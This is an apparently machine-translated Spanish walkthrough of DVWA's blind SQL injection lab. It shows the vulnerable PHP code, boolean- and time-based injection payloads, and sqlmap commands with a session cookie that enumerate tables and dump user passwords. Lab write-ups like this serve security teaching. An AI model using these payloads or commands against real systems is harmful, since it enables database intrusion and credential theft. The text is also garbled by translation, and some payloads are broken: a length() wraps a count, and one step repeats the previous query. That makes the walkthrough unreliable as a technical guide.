Inyección SQL (ciega)
interfaz
Código fuente
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Análisis de código
Al encontrar si la identificación ingresada por el usuario existe, si existe, imprimirá: La identificación del usuario existe en la base de datos; si no existe, imprimirá: La identificación del usuario FALTA en la base de datos. Se puede ver que el ID ingresado por el usuario no ha sido juzgado legalmente y existe una vulnerabilidad de SQL.
Paso de infiltración
Se dan tres ideas, una es la inyección ciega basada en Boolean, la otra es la inyección ciega basada en el tiempo y la última es usar sqlmap para obtener el resultado
1. Persianas de base booleana
El primer paso: construya la oración: 1’ and 1=1#
verifique el resultado y descubra que hay una pista
Paso 2: construya la oración: 1’ and 1=2#
verifique el resultado y descubra que la sugerencia no está allí. Desde el primer y segundo paso, se puede ver que si la siguiente declaración es correcta, se le pedirá que exista, de lo contrario, la solicitud no existe.
Paso 3: Adivine el número de ofertas en la base de datos actual y construya la declaración: , 1’ and length(select count(table_name) from information_schema.tables where table_schema=database())=x#
cambiando el valor de x, cuando existe la solicitud, x El valor de indica que hay varias tablas. Cuando el resultado muestra que x = 2, indica que hay un
cuarto paso: Adivina la longitud del nombre de la primera tabla, construye la declaración :, 1’ and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=x#
cambia el valor de x, hasta que el sistema lo solicite, x es la longitud de la tabla nombre, el resultado: x = 9
Paso cinco: Utilice el método de 2 puntos para adivinar el nombre de la tabla y construir la declaración :, 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>x#
donde está el valor ascii de la letra. 65-90 son 26 letras mayúsculas en inglés, 97-122 son 26 letras minúsculas en inglés. Primero, deje x = 97, compruebe si está en minúscula, luego x = 109 y así sucesivamente, adivine el nombre de la mesa: libro de visitas,
número de usuarios Paso 6: Adivina la longitud del primer campo de la tabla, construye la oración :, el 1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#
método es el mismo que el cuarto paso, el resultado x = 8
Paso Siete: Adivina el primer campo de la tabla, construye la declaración :, el 1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#
El método es el mismo que el del quinto paso.
2. Persianas basadas en el tiempo
El primer paso: Adivina si hay una apuesta ciega basada en el tiempo Entrada: 1’ and sleep(5)#
Después de eso, se siente un retraso notable, después de ingresar 1 y dormir (5) #, no hay retraso. A partir de esto, se juzga que hay una inyección ciega de tiempo de tipo carácter.
Paso 2: Los mismos pasos que la inyección ciega basada en booleanos. Adivina el nombre de la tabla de la base de datos y construye la declaración :, 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
sin demora; 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
demora obvia, lo que indica que el nombre de la primera tabla tiene 9 caracteres.
El tercer paso: después de construir la declaración sql es igual que booleano, pero agregando sleep (5) y juzgando el retraso.
Tres, use sqlmap,
Instale sqlmap en win10. El
primer paso: ingrese cualquier cosa, use burp suit para capturar el paquete y obtenga la dirección de destino :; 192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
cookie: el security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5
segundo paso: use sqlmap para inyectar la URL, ingrese :, sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch
después de un tiempo, sqlmap da la resultado de la prueba, puede inyectar de tres maneras: booleano, base de errores y tiempo.
Paso 3: Use sqlmap para ver la base de datos. Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch --dbs
Paso 4: Vea el contenido en la base de datos dvwa. Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa --tables
Paso 5: Vea el contenido en Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users --columns
Paso 6: Ver el contenido de usuario y contraseña, ingresar :, sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users -C “user,password“ --dump
y luego puede ver el proceso de decodificación de sqlmap de la contraseña cifrada, y después de un tiempo, puede ver el texto sin formato después de que se decodifica sqlmap.